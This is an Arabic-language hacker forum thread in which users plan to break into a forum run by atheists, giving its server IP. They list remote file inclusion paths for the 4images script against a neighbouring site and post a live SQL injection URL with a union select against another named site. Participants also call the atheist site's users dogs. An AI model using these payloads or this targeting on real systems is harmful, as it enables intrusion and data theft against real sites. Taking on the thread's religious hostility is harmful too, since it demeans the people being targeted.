استفسار فى اختراق موقع يسىء للاديان كلها ......واكتشاف ثغرات rfi

[EgY-HaCkEr]

[align=center]السلام عليكم ورحمه الله وبركاته
انا اسف انا اول موضوع ليا يكون استفسار
الموقع ده موقع ملحدين

http://www.forum.3almani.org/viewforum.php?f=6
انا عايز اخترقه


اى بى السيرفر
69.73.139.203

دخلت ال msn
وكتبت
ip:69.73.139.203 4images

طلعتلى شويه مواقع هنشتغل على ده

www.metalremains.com/galeria

حاولت اكتشف ثغرات الريموت فايل انكلود

ودى بعض الثغرات اللى انا اكتشفتها فى السكربت(4images)


/4images/top.php?register_array=shel

/4images/install.php?handle=shel

4images/install.php?db_servertype=shel

4images/install.php?install_lang=shel


السؤال هل الاستغلال يكون

http://www.metalremains.com/4images/...ter_array=shel

ولا كده

http://www.metalremains.com/galeria/...ter_array=shel

ولا ايه ارجو الافاده فى اسرع وقت ممكن




:a28::41::a28::41::a28::41:[/align]

[ZrIqE ViRuS]

أول شيء

الله يرحم شيء اسمه rfi

ثغره نادره جدا واغلب السيرفرات محميه منها

شوفلك ثغره ثانيه افضل لك
مثل
sql
والبفر ( البورتات المفتوحه )

وثغرات الداتا سنتر (ما بعرف بيها لسا)

وثغرات الدنس (لا اعرف لها ايضا)


هذه هي التثغرات الجديده اما القديمه لا ادري ماذا اقول لكن اصح بنا القول

(معظم الدورات العربيه افضل لو نجد لها سله مهملات لانها دورات لثغرات قديمه )

الرموت فايل انكلود كانت مشهورق من عام 2001 لعام 2004
وبعدها بدات بالانقراض
احنا الان ب 2010

هذه نصيحه بسطيه مني
وانت الك الخيارات الباقيه


(ليس معنى كلامي ان الثغرات لم تعد موجوده او السيرفرات محميه منها)
يمكن ان تجدها لكن نادرا



اسف ع الاطال والاحباط

[EgY-HaCkEr]

شكراااااااااا اخى ZrIqE ViRuS
وجارى المحاوله بثغرات اخرى

[MATRIX ALGERIA]

هاذا موقع الكلاب الملحدين المصريين
اخي شوف السيرفر مليان ثغرات ..انا لو ماكنت مشغول بالدراسة لساعدتك في الدعس
على العموم مشكور على الطرح

[EgY-HaCkEr]

شكرا لمرورك اخى matrix algeria
وياMR.BoOoOمشكور لمرورك ولكن عملت الاستغلال
وكل صح على كل ثغرات السكربت RFI
شكلها صح انقرضت

[EgY-HaCkEr]

نشوف ثغرات تانيه شكرااااا للافاده

[T3BaN_HaCkEr]

[align=center]هذا موقع مصاب بالسكيول

بس بدو ايجاد جدول اليوزر والباسورد

انا جربت حقنت موقع من مواقع السيرفر وطلع مصاب بس مطلوب نعرف اسم الجدول تبع اليوزر

http://www.studioauditions.com/industrynewsdetail.php?WritingID=-1251+union+select+1,2,3,4,5,6,7,8,9,10,11+from+

[/align]

[EgY-HaCkEr]

ياسيدى انا هحاول فيه بس على فكره مش على نفس السيرفر